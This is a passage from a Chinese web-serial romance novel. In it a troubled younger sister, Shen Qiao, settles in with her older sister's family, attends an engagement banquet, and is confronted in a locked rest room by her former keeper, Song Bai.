陈青野垂眸,语气平静:“他现在在飞机上,应该几个小时后,就可以落地了。” 沈蒲蘅轻轻拉过他的手,握在掌心:“和宋柏聊的时候,带上他一起吧。” 陈青野抿唇:“我不动手。” “我知道。”沈蒲蘅轻声安抚,“你那天,确实冲动了。薇薇身上虽然有咬痕,但也不能证明就是他做的。他现在明显不想和我们多说薇薇的事,有宋康在,他也许愿意多说一些。” 陈青野沉默,沈蒲蘅握紧他的手,继续耐心劝说:“宋柏是给我送过花,但不代表他对薇薇就有其他心思。这一年发生了什么,我们一无所知。不管怎么样,他都把薇薇平安带回来了,我们就应该感谢他。” “该给的谢礼,还有他为薇薇花的钱,都要准备好。你对他也客气点,好好说话,把事情说清楚就好。” 陈青野沉沉应了一声,沈蒲蘅顺势半靠在他怀里,两人静静相拥,谁也没有注意到,本紧闭的卧室门,不知何时,悄悄打开了一条细缝—— 作者有话说:小说明:宋柏没有追过姐姐,是误会,后面会解释! 第52章 男人都不是好东西 终于找回妹妹, 沈蒲蘅这一夜几乎没合眼。她没回房,就守在客厅沙发上,目光死死钉在几步外的卧室门上。隔一会儿便起身,轻轻拧开门锁, 借着客厅微弱的光, 确认床上的人还安稳睡着, 才又悄悄退回来。 就这么守到天边泛起第一缕晨光。沈蒲蘅刚起身想去厨房煮早餐, 大门便被轻轻叩响。主卧方向随即传来几声狗叫, 不过很快又被按住。 听到声音的沈蒲蘅刚走出厨房,一道高大身影已推开主卧门, 抱着狗站在她面前,脸上还带着未散的疲惫。 “我去开。” 陈青野拉开棕红色大门, 门外站着的正是何婶。陈青野不认识她,刚要开口, 何婶已先一步客气道:“您好,我是来给沈小姐送东西的。” 陈青野还没开口,沈蒲蘅已擦着手走到他身后:“先进来吧。” 何婶看着挡在门前的高大男人, 有些局促, 讪讪一笑,伸手想去提门边的箱子, 却被陈青野拦下。“我来。” 何婶连忙道谢,换鞋进门。目光扫过屋内一圈, 心一点点沉下去。 许莫言说这是沈小姐的姐姐家,她一直以为沈荞出身优渥, 家庭条件很不错。可眼前这房子,在寸金寸土的京城,对普通人家而言是还不错, 但和她想象中的比,简陋太多。 昨天发现沈荞不见,她担惊受怕哭了半宿,随后得知人不仅平安还和家人在一起时,她是真心替沈荞高兴。可此刻一看这环境,心底还是轻轻叹了口气。 何婶刚在沙发坐下,一杯温水就递到了面前。 何婶抬头看到沈蒲蘅温和的眉眼,一怔:“您和沈小姐真像。” 沈蒲蘅浅浅一笑时,陈青野也将门外的箱子悉数搬进来,堆在沙发旁。何婶立刻起身,一边拆箱一边仔细交代: “这些是沈小姐常穿的衣物,这些是她习惯用的日用品,这是她的药盒,都已经按餐分好,一日三餐,不能断药。这是负责给她诊疗的医生联系方式,有任何情况,您都可以联系他。” 何婶语气里的熟稔和关切半点不掺假。沈蒲蘅静静听着,等她说完,才拉着她重新坐下,把水杯又递到她手里。 “这段时间,都是您在照顾……荞荞是吗?真是辛苦您了。” “我也是先生雇的,拿钱办事,应该的。”何婶连连摆手,“而且,沈小姐人很好,乖巧又善良,这一年照顾她,我也是真心喜欢她。” 一年? 沈蒲蘅眸色微顿,抬眼与站在沙发旁的陈青野对视一眼,两人不动声色地交换了一个眼神。 “这些东西,是宋总让您送来的?” 何婶眼神转了转,点头:“是。先生对沈小姐上心极了,好得没话说。我做帮佣这么多年,从没见过这样的人……” 话匣子一打开,何婶便忍不住一桩桩细数宋柏对沈荞的好。她每说一句,沈蒲蘅眼底的复杂便深一分,脸上却依旧温和。 等她说完,沈蒲蘅忽然开口:“荞荞的证件,您这边有吗?” 何婶恍然:“有一本新加坡护照,只是锁在保险箱里,密码只有沈小姐知道。” “保险箱?” “就在沈小 姐住的那套房子里,离这儿不远,隔一条马路。要是急用,可能得沈小姐亲自去取。” 何婶指了指窗外对面的高楼。沈蒲蘅笑了笑:“麻烦您了。” 她一口一个“您”,让何婶浑身不自在。 “我能去看看沈小姐吗?” 沈蒲蘅指了指卧室方向。何婶道谢起身,刚走进房间,陈青野便走到沈蒲蘅身边,压低声音: “宋康刚下飞机,宋柏没跟他一起,坐着飞机又走了。” 沈蒲蘅还没来得及细问,何婶已轻手轻脚退出房间,一出来便提出告辞。沈蒲蘅叫住她,转身回房拿了个厚实的红包,塞进她手里。 何婶当然是不收,但沈蒲蘅坚持。 “您照顾荞荞这么久,这是我们一点心意。我和荞荞在一起的时间不多,她的很多习惯我都不清楚,您能不能留个联系方式,方便我以后问问?” 何婶自然答应,但红包坚持不要。来回推搡了好几回后,沈蒲蘅还是没能把红包塞到何婶手里。而何婶留下号码后,一步三回头看着卧室方向离开。 大门关上,沈蒲蘅看着地上的箱子,眉心微蹙:“宋柏这是什么意思?” 陈青野:“等他回来,我再去找他谈。” 沈蒲蘅捏着那张医生名片,点了点头:“你去再睡会儿吧,今天不是还要去公司?我给医生打个电话,再做早饭。” 她一夜未眠,眼底布满红血丝。只眯了几个小时的陈青野,状态明显比她好得多。 “今天不去公司了,我去做早饭,你打电话。” 沈蒲蘅走到阳台拨通医生电话。对方得知她是沈荞的姐姐,也惊讶了一瞬,随后和她详细说了沈荞的病情,最后郑重道: “除了药物治疗,心理疏导也很有必要。只是之前沈小姐情绪一直不稳定,宋总担心刺激到她,一直没让我们介入。现在沈小姐情况也稳定些了,我建议可以慢慢介入了。” 挂了电话,沈蒲蘅心头沉甸甸的,找回妹妹的喜悦被冲淡大半。陈青野端着早餐走出厨房,一眼便看出她情绪不对,放下早餐后上前将她拥进怀里。 “怎么了?” 沈蒲蘅没说话,只是将脸埋进他胸膛,收紧了环在他腰上的手。 陈青野轻轻抚着她的头发:“至少,她还活着。病了,我们就尽全力治。不管能不能治好,我们都养她一辈子。” 清晨的阳光穿过阳台的玻璃窗,温柔洒在相拥的两人身上,温馨而治愈。而一墙之隔的卧室里,窗帘被拉得严严实实,隔绝了所有光线,一室昏暗。 床上的沈荞,早已缓缓睁开了眼睛。 她眨了眨眼,长长的睫毛颤动,指尖在柔软的枕下摸索了片刻,触到一个冰凉而熟悉的物体。她轻轻按了一下,屏幕瞬间亮起,微弱的光照亮了她平静无波的脸。 是她的手机。 她昨天出门时,并没有拿的手机。 亏了这套老房子不算好的隔音效果,从何婶敲门的那一刻起,她就已经醒了。何婶的声音,姐姐温柔的语调,她都听到了。何婶轻手轻脚走进房间,把手机悄悄放在了她的枕头边,她也感知到了,只是她没有睁眼。 点亮的屏幕上,只有昨夜半夜的几个未接来电,都是何婶打来的。 昨天晚上,她突然想出门走走,但又不想被任何人跟着,所以就避开了保镖从保姆间的安全通道楼梯悄悄下了楼。 她原本打算,走一走就回去,没想到会遇上两个欠揍的狗东西。更没想到,会在那样狼狈的时刻,见到姐姐,甚至被姐姐带回家。 更没有想到,宋柏居然给姐姐送过花,追求过姐姐。 傅英把她当妹妹的替身。 那宋柏呢?过去一年是不是也把她当成她姐姐了的替身? 黑暗中,沈荞冷冷扯了扯嘴角,眼底掠过一丝讥诮与厌恶。 男人,果然都不是什么好东西。 沈荞在黑暗里静静坐了许久,直到四肢都有些发麻,才掀开被子,轻手轻脚地下了床。 房门被轻轻拉开的瞬间,一张笑意吟吟的温柔面容就抬眼看向她。紧接着,一只毛茸茸的小狗又屁颠屁颠跑到她脚边,围着她的脚踝欢快转圈,摇着尾巴,十分亲昵。 沈荞的目光淡淡落在小狗身上,没有丝毫波澜。 下一秒,她姐姐已经快步走到她面前,伸手轻轻牵住她的手,掌心温暖柔软,语气温柔:“醒啦?先去洗漱,我们吃早饭。” 老旧的房子,卫生间狭小逼仄,设施也简单。沈荞面上没有任何表情,心底却早已翻涌。 等她坐到餐桌前,看着刚刚还牵着自己的姐姐,自然落座在那个身形高大的男人身边,抬眼时的眼神,也瞬间不善。 男人,不仅都不是好东西,还没本事。 就让她的姐姐住在这样的房子里,还有脸娶她的姐姐。 沈荞的这些心思,沈蒲蘅全然没有察觉。她只顾着满心欢喜地照顾刚到家的妹妹,忙着给她盛粥,剥鸡蛋,夹菜,动作温柔又熟练。 直到看见沈荞久久不动筷子,只是盯着陈青野看,她才微微一怔,随即反应过来,笑着柔声介绍道:“薇薇,他你应该见过的,他叫陈青野,是我的老公,也是你的姐夫。” 姐夫? 沈荞在心底嗤笑一声,眼底的抵触更深。 他才不配做她的姐夫。 闷声不吭收回视线,沈荞低头拿起勺子,小口小口喝着碗里的粥,全程一言不发,脸色冷淡。 而见她终于肯吃东西,沈蒲蘅悬着的心终于放下,长长松了口气。她转头看向身边的陈青野,悄悄在桌下牵住他的手,轻轻捏了捏,带着一丝安抚与感激。 陈青野神色平静,反手轻轻握住她的手,将自己剥好的鸡蛋与剥好壳的虾,默默放到她面前。 餐桌上一片安静,只有碗筷轻轻碰撞的轻响。 没过多久,厨房里传来砂锅咕嘟咕嘟的沸腾声,一股浓郁却苦涩的中药味,缓缓弥漫在小小的客厅里。 这股味道,对于已经连续喝了几天中药的沈荞来说,熟悉得不能再熟悉。 当那碗还冒着热气的中药被端到面前,苦涩的气味扑鼻而来时,沈荞猛地回过神,瞬间明白她这几天喝的中药,是谁熬的。 她盯着眼前黑漆漆的药汤,微微失神。 下一秒,一碟梅子被推到她面前,温柔的声音在耳边响起:“药还烫,晾一晾再喝,不急。” 就在姐妹俩对着一碗中药沉默时,换好一身休闲装的陈青野从房间里走了出来,拿起玄关处的钥匙,径直朝大门走去。 沈蒲蘅微微一愣:“你不是说今天不去公司了吗?” 陈青野握住门把手,回头淡淡道:“去帮陈延把东西搬回来。” 陈延。 听到这个名字,一直安安静静坐着、面无表情的沈荞,眉眼一动。 搬回来? 搬回哪里? 她环顾了一眼本就狭小的客厅,眉头微蹙。 这么小的房子,还能再住一个人? 沈荞心底的疑惑,在喝完那碗苦涩的中药后,有了答案。 陈延并没有搬进这间屋子,而是搬进了对面。 准确来说,是搬回了对面的屋子。 沈荞被姐姐温柔牵着,迈进隔壁屋子,看着屋内熟悉的陈设、简约的布局,还有收拾东西的陈延,一瞬间恍惚,仿佛回到了闻城。 唯一不同的是,这一次,她的身边,站着她的姐姐。 “薇薇,” 身侧温柔的声音将沈荞飘远的思绪拉了回来,“以后,你就跟姐姐住在这儿,好不好?” 沈荞缓缓回头,看着姐姐眼底满是期待与温柔的眼睛,沉默了片刻,轻轻点了点头。 “好。”—— 作者有话说:这张过渡章,字数少,下一章,大肥章! 第53章 贱男人 元旦假期过后的深夜, 京城落了开年头一场雪。雪落了一整夜,厚厚铺了一地,让本就拥堵的返工早高峰,更乱了几分。 马路上车水马龙, 剐蹭接连不断。老 旧楼道里, 陈延家的大门被“砰”一声推开, 又“啪”一声狠狠甩上。 正在窗边健身的陈延举着哑铃, 侧头看过去。一道身影风风火火冲进来, 一屁股砸在沙发上,鼓着腮帮子, 满脸写着生气。 陈延习以为常笑了笑,放下哑铃, 转身去厨房冰箱里拿了一罐汽水。他走回沙发边,拉开拉环, 才递到她面前。 “这次他又怎么了?” 气鼓鼓坐在沙发上的沈荞转过头,没有先接汽水,只闷声道:“他要带姐姐回丰城, 他就是故意的。就是不想让我跟姐姐待在一起。” 回到姐姐身边也有几个月了, 沈荞和姐姐相处得很好。对她而言,世界上没有比姐姐更好的人, 也没有比陈青野更讨厌的人。 每晚霸占着姐姐还不够,平时还要和她抢姐姐, 就连他养的那只狗,都比他可爱。 这几个月里, 沈荞时常被陈青野气到想砸东西,但她都压着忍着,因为她不想让姐姐讨厌她。 每次都是等姐姐去学校或者去医院了, 她就到陈延这边来发泄。对她而言,陈延比她每周去看的心理医生有用得多,那些心理医生,每次都只会说一些废话。要不是姐姐盯着,她才不愿意去。 沈荞说完,陈延很平静地将冰冷的汽水塞到她手里,然后从一旁的椅背上拿下毛巾,擦拭自己满是汗的脸和脖颈。 冰凉的汽水罐握在手中,沈荞浮躁的心也渐渐平静下来。擦完汗的陈延,坐到她身侧,缓缓开口:“丰城是你姐姐的老家。快到年底了,你姐姐要回去给外公扫墓。他只是陪你姐姐回去,顺便参加他在丰城工厂的年会而已。如果你想去,我陪你一起。” 沈荞冷哼一声:“我才不想去。” 陈延神色不动:“不去也好。丰城这会正冷,又没有暖气。再说马上年底,路上人也多,也挤。呆在京城也挺好的,你姐姐去闻城了,你熬夜也没人管了,我到时候去买些卤味,我们熬夜看球赛怎么样?” 这几个月,比起姐姐,沈荞其实和陈延待在一起的时间更长。因为姐姐要去学校,要去医院,更多的时候,都是陈延陪着她。 前段时间,沈荞因为陈青野霸占姐姐,不让姐姐陪她睡,又生了气,风风火火闯进陈延家的时候,陈延正好在看橄榄球比赛。强对抗的赛事,让沈荞忘了发火,整个人都沉浸在比赛里。 然而橄榄球比赛的时间大多在深夜,沈蒲蘅不让沈荞熬夜,沈荞只能第二天看回放。回放时比赛结果都已经出来了,再看乐趣也少了很多。 这会再听陈延这么说,沈荞也心头一动。但她还是没完全消气,灌了一口汽水后,闷闷道:“我讨厌陈青野。” 陈延顺着她点头:“他确实很讨厌。”说话的同时,陈延从沈荞手中抽走了那罐汽水。 “中午想吃什么?” 沈荞的注意力被引走:“我想吃糖醋排骨,还有辣椒炒肉。” 陈延转眸看她,沈荞往沙发上一躺。 “我都吃了好久清淡的了。” 如果硬要说她姐姐有哪点不好,就是太在乎她的健康,又是学中医的,沈荞每天除了喝苦药,饮食更是清淡得很。只有在陈延这里,她才能解解馋,比如冰汽水,比如一些重油重口味的菜。 陈延打开电视,调出昨晚的球赛。 “我去菜场。” 沈荞的视线落在电视上,漫不经心点点头。 “顺便把麦冬带出去溜溜。” 麦冬就是她姐姐和陈青野养的狗,虽然也会和沈荞争她姐姐的爱,但胜在长得可爱,对沈荞也粘得很。时间久了,沈荞对它也不错,偶尔她姐姐忙,没时间遛狗时,她也会带着下楼溜溜。 只不过前几天遛狗时,一只没栓绳的大狗差点把麦冬咬了,沈荞差点连着那只大狗带主人的脖子都一起拧了,好在陈延跟在身边拦下她。虽然没出事,但沈荞遛狗的权利也被剥夺了,是被陈青野剥夺的。 一直在姐姐面前忍着的沈荞当场没忍住,狠狠跺了陈青野一脚。没两天,陈青野就说要带着姐姐去丰城。在沈荞看来,陈青野这就是在报复她。 沈荞沉浸在球赛中时,窗外风雪正大。陈延再进家门,不管是他,还是他怀里的狗,身上都积了雪。 陈延脱下外套,拿着湿巾擦干了狗的脚,又拿出吹风机给它吹干毛发,弄得干干净净的,才把狗抱到沈荞怀里。 “我去洗个澡,然后做饭。” 沈荞摸着狗头,敷衍点点头,陈延看着她,没忍住,揉了揉她的头才往浴室走去。 从浴室再出来,一身清爽的陈延换上了一件工字背心,露出了他精壮的手臂。 几个月,陈延的身形也从消瘦变得健壮。虽然比起沈荞最初认识他时的模样还有差别,但也已经比一般男人健硕多了。 冰天雪地,怀里抱着狗,看着球赛,厨房飘着香气,惬意又安逸,尤其是在沈荞看到桌上的菜时。 “水煮鱼?” “今天下雪,破个例,不许告诉你姐姐。” 在陈延这里,对于沈荞,他总有各种破例。立冬、冬至、元旦,都是他给沈荞破例偷偷打牙祭的日子。 沈荞坐在餐桌上,陈延去将电视搬了个位置,搬到了她能直接看到的位置。 吃着心心念念的菜,喝着冰汽水,看着球赛。吃饱后,沈荞坐在椅子上懒懒不想动,陈延把饭桌上的碗碟收进厨房,然后拿了一杯温水和药盒放到沈荞面前。 等陈延洗完碗再出来,沈荞已经趴在桌上昏昏欲睡了。陈延走近,很自然地弯腰,将她横抱而起,然后迈步走到次卧,将她放在床上。 刚放到床上,沈荞就迷迷糊糊,抓过一边的抱枕抱在怀里,蹭了蹭,然后睡去。 迷迷糊糊再醒来,已经是下午三点多,沈荞抱着抱枕缓神时,突然听到熟悉的声音,她眼睛一亮,跳下床,刚打开门就听到温柔的声音:“你太惯着她了。” 没在意听到的话,沈荞亮着眼就走到了客厅,客厅沙发上,温婉的脸正侧对着她,听到她的脚步声,微微转头,露出温柔的眉眼。 只是那温柔的眉眼,在看到她赤着的脚时微微一皱,还没说话,就被沈荞热切的一声“姐姐”打断。 “姐姐,你今天怎么这么早就回来了?” 说着,沈荞已经落座在沙发上,环住姐姐的腰,把头埋在了姐姐怀里。 而沈蒲蘅,看着怀里粘人的妹妹,则是笑着回抱住她。 “我回来换个衣服,然后去陪你苗妙姐姐试礼服。你想不想一起去,你苗妙姐姐也说想你了。” 沈蒲蘅口中的苗妙是她多年的好友,之前一直在国外,最近才回来,虽然才回来不久,但就已经凭着大大咧咧的直爽脾气得了沈荞的欢心。沈荞虽然很喜欢她,但是也不想在这冰天雪地出门。 沈荞摇摇头,沈蒲蘅摸摸她的头。 “那你的礼服,姐姐帮你挑?” 苗妙回国,就是因为要订婚。订婚宴就在几天后。不止是她,参加的宾客都要穿礼服,沈荞也被邀请了。 沈荞本来不想去,但是姐姐和陈延都要去,她不去,就只能一个人呆在家里,她姐姐不放心。 沈荞点点头,沈蒲蘅笑笑。 “那晚餐,让陈延给你做。” 话落,沈蒲蘅转眸看向坐在另一侧的陈延:“给她做些青菜,不许再给她吃水煮鱼了。” 沈荞抬头,用一种看叛徒的目光看向陈延,陈延迎上她的目光,也无奈笑笑。 “她一进门就去开冰箱了。” 说完话,沈蒲蘅走了,带走了她从冰箱里没收的汽水。看着姐姐的背影还有她手里的汽水,坐在沙发上的沈荞,不止眼睛无神,肩膀都耷拉了下来。 她正蔫蔫的时候,一只冰糖葫芦递到她面前。 沈荞抬眼,站在她面前的陈延,手中不止有冰糖葫芦,还有一罐汽水。 “房间里还藏了一箱,不过今天你不能喝了,明天再喝。” 有冰糖葫芦,沈荞哪还在意汽水。 京城路边,多的是卖冰糖葫芦的。沈荞被姐姐拉着出门散步时,时常会看到。但是她姐姐都不让吃,只因为她在喝中药,不适合吃山楂。 而陈延今天给她破例,也是因为这几天她姐姐在调药方,给她暂时断了中药。 吃完糖葫芦吃晚饭,吃完晚饭看球赛,看着球赛吃夜宵。夜宵都吃完了,她姐姐还没回来, 沈荞转身进了陈延的次卧,趴着就睡着了。 陈延收拾客厅里的狼藉时,大门轻响,趴在沙发上的麦冬听到敲门声,非但没叫,还嗖一下冲到了大门边。 陈延去开门,门外站着的正是陈青野。 他穿着大衣,身上还散着寒气。抱起脚边扒着他的麦冬,他并没有进门,而是站在门口问:“她睡着了?” 陈延点点头:“她今天又生你气了。” 陈青野早已习以为常。 “那件事,你考虑得怎么样了?” 陈延身形一顿,陈青野继续道:“她是我们的责任,不是你的。她现在情况也慢慢稳定了。我们也在考虑给她找所大学。她要回归正常人的生活,你也是。如果你想给她未来,总得先考虑自己的未来。” 陈延抿唇,陈青野也没再多说,只说了句你考虑考虑,就转身打开了对面的门。 * 第二天,沈荞虽然是在陈延家醒的,可一睁眼,就看到姐姐温柔的脸。温软的手掌轻轻抚过她的脸颊,沈荞下意识往那温热的掌心蹭了蹭。 “姐姐,你又要去学校了吗?” 沈蒲蘅轻轻摇头,指尖温柔地梳理着她额前的碎发:“去趟医院,很快就回来。” 沈荞抿了抿唇,眼底掠过一丝不舍。沈蒲蘅笑着揉了揉她的头:“礼服已经放在你房间了,你去试试看喜不喜欢?” “姐姐选的,我都喜欢。”沈荞乖顺应着,那软糯的模样看得沈蒲蘅心头一软。 她轻抚着沈荞的脸颊,眼底满是心疼:“姐姐很快就回来,今天一整天都陪你。” 这一天,沈荞不仅拥有了姐姐全天的陪伴,还收到了一份礼物。 一条珍珠项链。 “喜欢吗?” 只要是姐姐送的,她从没有不喜欢的道理。 沈荞亮着眼,用力点头:“喜欢。” “这项链配礼服正好。后天就是订婚宴了,姐姐得陪在苗妙姐姐身边,你就跟着陈延和你姐夫,要是觉得不舒服,随时跟他们说,让他们送你回来,好不好?” 沈荞乖乖点头:“我知道的,姐姐。” 对于沈荞,沈蒲蘅心底始终压着内疚与心疼。 不只是因为沈荞年幼时,因她的缘故被人捅了两刀,更因为这么多年,她一直活在安稳的象牙塔里,对这个亲妹妹的存在一无所知。而她的妹妹,却在无人知晓的角落里,受尽了苦难。 把妹妹接回来的这几个月,沈蒲蘅从不多问过去,只一心为她营造安静平和的环境。她原本打算再休学一年,专心陪着妹妹,可医生建议她,尽量维持正常的生活节奏,不要让沈荞觉得自己是个需要特殊对待的病人。恰好陈延主动提出,会帮忙照看沈荞。 而对沈荞而言,陈延其实比她这个姐姐,还要更亲近熟悉。 沈蒲蘅这才放心回到学校、回到医院,一边兼顾学业与工作,一边用中西医结合的方式,默默为妹妹调理身体。 沈荞的状态日渐好转,医生也提议让她多接触外界、多与人相处,沈蒲蘅才松口同意她参加订婚宴。可即便如此,她依旧放心不下。 订婚宴当天,身为新娘好友的沈蒲蘅一早就得出门帮忙。临走时,她没有让陈青野送,只是一遍遍地反复叮嘱他和陈延,务必看好沈荞,一旦她有任何不适,立刻带她回家。 直到两人郑重点头,沈蒲蘅才匆匆离开。 临近傍晚,宴会即将开始,两个男人都换上了笔挺的西装。沈荞也穿上了礼服。说是礼服,实则更偏中式改良旗袍,裹得严实,又暖和。 沈荞长发披散,颈间戴着姐姐送的那条珍珠项链,静静站在那里,整个人温润柔和,眉眼间也多了几分不曾有过的娴静。 出门前,陈延细心给她披上大衣,又给她脖子缠了一圈厚实的围巾。可即便这样,刚踏出楼道,刺骨的冷风一吹,沈荞还是忍不住缩了缩脖子。 走在她身侧的陈延当即顿住脚步,低声问:“很冷?要是不想去,我们就回去。” 站在风口,默默替两人挡去大半寒风的陈青野,面无表情开口:“你干脆把她揣口袋里得了。” 冷淡的语调刚落,便迎来沈荞一记冷冷的白眼。 本就不喜欢冷、被风吹得有了几分退意的沈荞,被他这么一激,反倒犟了起来。 她偏要去。 沈荞仰起下巴,迈步径直朝停车场走去,陈延寸步不离护在她身侧,唯有陈青野不紧不慢地跟在后面,望着前面两道并肩的背影,扯了扯唇角。 除了小时候在山里,沈荞只在电视里见过订婚宴和婚礼。她本以为会是在繁华富丽的大酒店,没想到车子一路驶出闹市区,越开越僻静,最终停在一扇气派的大门前。 大门两侧立着数名黑衣保镖,车刚停稳,便有保镖上前。主驾位的陈青野降下车窗,保镖微微躬身:“先生您好,麻烦出示一下请柬。” 三张请柬递出,保镖又核对了陈青野的身份证,反复确认无误后,才抬手放行。 车子驶入大门,驶过一条长长的林荫道,一座奢华的庄园豁然出现在眼前。庄园前停满了各式豪车,往来宾客皆是衣着光鲜、气质甚佳。 沈荞坐在车里,好奇望着窗外,而她身侧的陈延,目光却一直落在她的脸上。 “还行吗?” 沈荞抬眼瞥了一眼主驾的陈青野,倔强点了点头。 越野车底盘偏高,沈荞下车时,是陈延伸手牵着她慢慢下来的。刚落地,陈青野便将车钥匙递给了陈延。 “回去你开,我今晚要喝酒。” 陈延应声接过。陈青野转而看向沈荞,微微弯起臂弯。 沈荞一脸疑惑,陈青野语气平淡:“挽着我。” “我才不要,我为什么要挽你。” 沈荞立刻拒绝。 陈青野下颌线微微绷紧,陈延适时上前一步:“挽我吧。” 沈荞顺势挽住陈延的手臂,陈青野独自一人走在一侧,三人穿过迎宾花廊,立刻有侍者上前引路,将他们带往宴会厅。 刚踏入宴会厅,还没走到位置,就有人上前和陈青野打招呼。 “陈总,好巧,没想到在这儿碰到您。您是男方亲友,还是女方?” 陈青野给陈延递了个眼色,示意他先带沈荞过去,随即淡淡回了两个字:“都是。” 沈荞一直跟着陈延,直到落座,她才知道这场订婚宴的主人是谁。刚落座,一个身着黑色西装、气质儒雅的男人走了过来,笑着看向他们。 “你们到了,怎么不提前说一声?陈青野呢?” 陈延抬手指了个方向:“在那边和人说话。” 男人顺着方向瞥了一眼,随即收回目光,温和看向沈荞:“你就是荞荞吧?我叫宋康,是你姐姐和你姐夫的朋友,也是你苗妙姐姐的未婚夫。一直想见见你,可惜这几个月太忙,没能抽出空。今天好好玩,要是累了,就去楼上,你苗妙姐姐特意给你准备了休息室。” 眼前的男人眉眼温和,笑容亲切,可沈荞在听见那个“宋”字时,愣了愣。 几个月来渐渐淡去、几乎要被遗忘的一张脸,猝不及防从记忆深处翻涌上来。 就在她恍神的间隙,宋康掏出一把钥匙,递到了陈延手里。 “这是二楼休息室的钥匙,累了就带她上去歇会儿。我去见见其他宾客。” 陈延点头接过,宋康随即转身离开。 天色渐暗,宴会厅里的人越来越多。男士西装革履,女士华服夺目,宴会尚未正式开始,四周已经推杯换盏、觥筹交错,喧闹声一点点漫上来。好在给 沈荞安排的位置靠在角落,又有身形高大的陈延坐在外侧,替她隔出了一方安静的小天地。 除了陈延时刻留意着她的状态,她姐姐也抽空过来了两趟,给她拿了点心和温水,细心叮嘱了几句才离开。 沈荞安安静静待在角落时,陈青野和宋康正站在避开人群的僻静处。 “你订婚,宋柏没来?” “他中午刚下飞机,在楼上补觉,应该一会儿就下来了。我约了他明天下午谈集团的事,等谈完工作,我会跟他聊聊。” 陈青野:“我需要和他聊一聊,尽快。” 宋康刚颔首,远处有侍者走来,示意仪式即将开始。宋康看了一眼时间:“时间差不多了,我得过去了。你先回座位,明天我们再细聊。” 陈青野回到座位没多久,沈蒲蘅也坐了过来。今天是好友的大喜日子,她脸上的笑容一整天就没断过。坐下见陈青野神色微沉,笑意微微收敛。 “怎么了?” 陈青野收敛神色,淡淡道:“没事。” 宾客陆续落座,订婚仪式正式开始。 顶级豪门的订婚宴,排场比寻常婚礼还要盛大隆重。原本只是堵着一口气才来的沈荞,全程看得目不转睛,满眼都是新奇。 仪式结束,是敬酒环节。沈蒲蘅起身过去帮忙,陈青野环顾了一圈宴会厅,对陈延低声道:“一会儿给你介绍个人。” 陈延下意识看向身旁的沈荞,陈青野:“先送她去……” 话还没说完,沈荞已轻轻抬起头,声音带着一丝疲惫:“我累了。” 在这样嘈杂的环境里坚持坐到仪式结束,已经是她的极限。 陈青野:“送你去楼上休息室坐一会儿,我和陈延见个人,很快就好。见完,就让陈延送你回家。” 沈荞其实想立刻回家,可看在陈延的份上,还是轻轻点了头。 她刚站起身,目光忽然一滞,直直定在了不远处。 远处,身形挺拔的男人端着酒杯立在人群边缘,气质冷冽。他身侧站着一个巧笑嫣然的女人,正和他说着什么。 不知道是不是察觉到了她的目光,男人突然转眸,朝这边看了过来。 视线相撞的一瞬,他目光平淡,仿佛只是扫过一个无关紧要的陌生人,随即漠然转回头,继续看向身侧的女人,再无半分波澜。 看着远处那道熟悉又陌生的身影,沈荞的眉心紧皱。 站在她身侧的陈延顺着她的目光看去,也看到了远处的人。不动声色收回眼神,陈延扶了扶她的手臂,轻声道:“我先送你上去。” 陈延牵着沈荞,穿过往来的宾客,沿着安静的走廊往楼梯口走。宴会厅的喧嚣被一层层隔绝在外,越往上,空气越安静,连灯光都柔和了不少。 休息室就在走廊尽头,陈延拿出宋康给的钥匙,轻轻打开门。 房间不大,却布置得很舒服,柔软的沙发,暖黄的灯光,连空气里都飘着淡淡的香氛,完全听不到楼下的喧闹。 “你先在这里坐一会儿,我就在楼下,有事随时给我打电话。”陈延替她把外套脱下来,搭在沙发边,又倒了一杯温水放在她手边,“我很快就来接你。” 沈荞没有说话,只是轻轻点了点头,目光有些放空,落在沙发前的地毯上,不知道在想些什么。 陈延留了一会,看她状态还算平稳,这才轻轻带上房门,下了楼。 门一关上,整个休息室便只剩下沈荞一个人。 她坐在沙发上,一动也不动,脑子里反反复复,都是刚才在宴会厅里看到的那个身影。 那个人,明明在她生活里消失了几个月,那张脸,也明明已经在记忆里模糊了许久,可在对视的那一瞬间,所有被压下去的记忆,全都翻涌了上来。 他怎么会在这里。 沈荞指尖微微发紧,连呼吸都放得极轻,整个人陷在沙发里出神,连房门被推开的声音,都没有听见。 直到门被砰一声关上,又传来落锁的轻响,沈荞才猛地回过神,抬眼望去。 门边的男人一身深色西装,身姿挺拔,眉眼深邃,明明长相出众,可周身的气场却冷得刺骨。 他没有敲门,就这么径直走了进来,随手带上门,将外界所有的声音彻底隔绝。而后站在门边,静静看着沈荞,目光沉沉,看不出半分情绪。 沈荞也抬着眼,一言不发,只是死死盯着他。 一室沉默里,男人深沉的目光缓缓从沈荞脸上落下,扫过她身上的中式礼服,扫过她颈间的珍珠项链,最后,又落回她紧绷的脸上。 许久,他才缓缓开口,声音低沉,带着几分沙哑,和一丝说不清道不明的冷意。 “沈荞。” “好久不见。” 沈荞嘴唇紧抿,依旧不说话,只是眼神一点点变得倔强而疏离。 站在门边的男人看着她这副拒人于千里之外的模样,轻轻勾了勾唇角,扯出的笑意很浅,没有半分温度,反而更显冷漠。 他往前一步,慢慢朝她走近。 休息室里安静得可怕,除了沉稳的脚步声,只剩下两人轻浅的呼吸。暖黄的灯光再柔和,也压不住朝沈荞步步逼近的男人身上,那股刺骨的冷意。 看着越走越近的人,沈荞眼底的寒意也一点点加重。直到男人在她面前几步远的地方停下,居高临下看着她,深邃的眼眸里翻涌着暗流,沉沉地压着她。 “怎么,见到我,连话都不会说了?” “还是说,这几个月过得太好,早就把我忘了。” 沈荞终于忍不住,抬眼看向他,声音虽轻,却冰冷:“你为什么会在这里。” 男人低笑一声,笑声轻得近乎漠然。 “宋康是我弟。” “他的订婚宴,我为什么不能来。” “而且,这是我家。” 沈荞的身形一顿。 宋……原来如此。 男人看着她一瞬失神的脸,目光缓缓落回她颈间的珍珠项链上,眼底暗了暗,语气里的嘲讽和冷意毫不掩饰。 “新项链?” “谁送的。” “那个天天守着你的陈延,还是你的宝贝姐姐。” 沈荞攥紧手,指节泛白:“和你有什么关系。” “和我有什么关系?”男人像是听到了什么极其可笑的事情,往前又逼近一步,阴影瞬间将她彻底笼罩,“沈荞,我真没见过比你还没有心的女人。” 沈荞抬眼迎上他的目光,一字一句,不留半分余地:“我也没有见过比你还贱的男人。” 第54章 寂静风暴 贱? 宋柏脸上最后一点浅淡的笑意, 彻底消失。 空气瞬间凝固,连呼吸都变得沉重。 他盯着她,眼底暗潮翻涌,原本冰冷的眼, 此刻翻搅着戾气、失望、还有一丝连他自己都不愿承认的狼狈。原本就冷冽的气场, 此刻更是沉得吓人。 